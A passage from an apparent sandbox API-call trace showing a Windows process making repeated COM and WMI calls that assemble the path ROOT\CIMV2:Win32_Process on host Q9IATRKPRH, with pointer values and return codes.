ppvObject=0x1bb7cd80*=0x1bc22460) returned 0x0 [0134.161] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc22460, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0134.161] WbemDefPath:IUnknown:Release (This=0x1bc22460) returned 0x3 [0134.161] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0134.161] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0134.161] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ada0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0134.161] WbemDefPath:IUnknown:Release (This=0x1bc1ada0) returned 0x2 [0134.161] WbemDefPath:IUnknown:Release (This=0x1bc1ada0) returned 0x1 [0134.161] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0134.161] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0134.161] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ada0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc1ada0) returned 0x0 [0134.161] WbemDefPath:IUnknown:AddRef (This=0x1bc1ada0) returned 0x3 [0134.162] WbemDefPath:IUnknown:Release (This=0x1bc1ada0) returned 0x2 [0134.162] WbemDefPath:IWbemPath:SetText (This=0x1bc1ada0, uMode=0x4, pszPath="") returned 0x0 [0134.162] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0134.162] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0134.162] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0134.162] IUnknown:Release (This=0x1a943398) returned 0x1 [0134.164] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc22420) returned 0x0 [0134.164] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc22420, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0134.164] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc22420, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc1ae60) returned 0x0 [0134.164] WbemDefPath:IUnknown:Release (This=0x1bc22420) returned 0x0 [0134.164] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ae60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc1ae60) returned 0x0 [0134.164] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ae60, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0134.165] WbemDefPath:IUnknown:AddRef (This=0x1bc1ae60) returned 0x3 [0134.165] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ae60, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0134.165] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ae60, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0134.165] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ae60, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc224a0) returned 0x0 [0134.165] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc224a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0134.165] WbemDefPath:IUnknown:Release (This=0x1bc224a0) returned 0x3 [0134.165] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0134.165] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0134.165] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ae60, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0134.165] WbemDefPath:IUnknown:Release (This=0x1bc1ae60) returned 0x2 [0134.165] WbemDefPath:IUnknown:Release (This=0x1bc1ae60) returned 0x1 [0134.165] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0134.165] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0134.165] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ae60, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc1ae60) returned 0x0 [0134.165] WbemDefPath:IUnknown:AddRef (This=0x1bc1ae60) returned 0x3 [0134.165] WbemDefPath:IUnknown:Release (This=0x1bc1ae60) returned 0x2 [0134.165] WbemDefPath:IWbemPath:SetText (This=0x1bc1ae60, uMode=0x4, pszPath="") returned 0x0 [0134.165] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1ae60, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0134.166] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1ada0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0134.166] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc1ae60, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0134.166] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc1ae60, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0134.166] WbemDefPath:IWbemPath:SetServer (This=0x1bc1ae60, Name="Q9IATRKPRH") returned 0x0 [0134.166] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0134.166] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0134.166] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0134.166] IUnknown:Release (This=0x1a943398) returned 0x1 [0134.168] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc224c0) returned 0x0 [0134.169] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc224c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0134.169] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc224c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc1af20) returned 0x0 [0134.169] WbemDefPath:IUnknown:Release (This=0x1bc224c0) returned 0x0 [0134.169] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1af20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc1af20) returned 0x0 [0134.169] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1af20, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0134.169] WbemDefPath:IUnknown:AddRef (This=0x1bc1af20) returned 0x3 [0134.169] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1af20, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0134.169] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1af20, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0134.169] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1af20, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc22500) returned 0x0 [0134.169] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc22500, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0134.169] WbemDefPath:IUnknown:Release (This=0x1bc22500) returned 0x3 [0134.170] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0134.170] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0134.170] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1af20, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0134.170] WbemDefPath:IUnknown:Release (This=0x1bc1af20) returned 0x2 [0134.170] WbemDefPath:IUnknown:Release (This=0x1bc1af20) returned 0x1 [0134.170] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0134.170] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0134.170] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1af20, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc1af20) returned 0x0 [0134.170] WbemDefPath:IUnknown:AddRef (This=0x1bc1af20) returned 0x3 [0134.170] WbemDefPath:IUnknown:Release (This=0x1bc1af20) returned 0x2 [0134.170] WbemDefPath:IWbemPath:SetText (This=0x1bc1af20, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0134.170] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1ae60, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0134.170] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1af20, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0134.170] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1af20, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0134.170] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1af20, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0134.170] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc1ae60) returned 0x0 [0134.170] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1af20, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0134.170] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc1af20, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0134.170] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc1af20, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0134.170] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc1ae60, uIndex=0x0, pszName="ROOT") returned 0x0 [0134.170] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc1af20, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0134.171] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc1af20, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0134.171] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc1ae60, uIndex=0x1, pszName="CIMV2") returned 0x0 [0134.171] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc1ae60, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0134.171] WbemDefPath:IWbemPath:SetClassName (This=0x1bc1ae60, Name="Win32_Process") returned 0x0 [0134.171] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc1ae60, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0134.171] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1ae60, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0134.171] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1ae60, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0134.171] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1ae60, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0134.171] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc1ae60, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0134.171] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1ae60, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0134.171] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1ae60, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0134.171] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1ae60, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0134.171] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1ac20, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0134.171] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1ac20, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0134.171] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1ac20, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0134.171] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1ae60, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0134.171] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1ae60, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0134.171] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0134.172] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0134.172] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0134.172] IUnknown:Release (This=0x1a943398) returned 0x1 [0134.173] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bc22760) returned 0x0 [0134.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc22760, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0134.174] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc22760, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bc1afe0) returned 0x0 [0134.174] WbemDefPath:IUnknown:Release (This=0x1bc22760) returned 0x0 [0134.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1afe0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bc1afe0) returned 0x0 [0134.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1afe0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0134.174] WbemDefPath:IUnknown:AddRef (This=0x1bc1afe0) returned 0x3 [0134.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1afe0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0134.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1afe0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0134.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1afe0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bc227a0) returned 0x0 [0134.175] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc227a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0134.175] WbemDefPath:IUnknown:Release (This=0x1bc227a0) returned 0x3 [0134.175] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0134.175] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0134.175] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1afe0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0134.175] WbemDefPath:IUnknown:Release (This=0x1bc1afe0) returned 0x2 [0134.175] WbemDefPath:IUnknown:Release (This=0x1bc1afe0) returned 0x1 [0134.175] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0134.175] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0134.175] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1afe0, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bc1afe0) returned 0x0 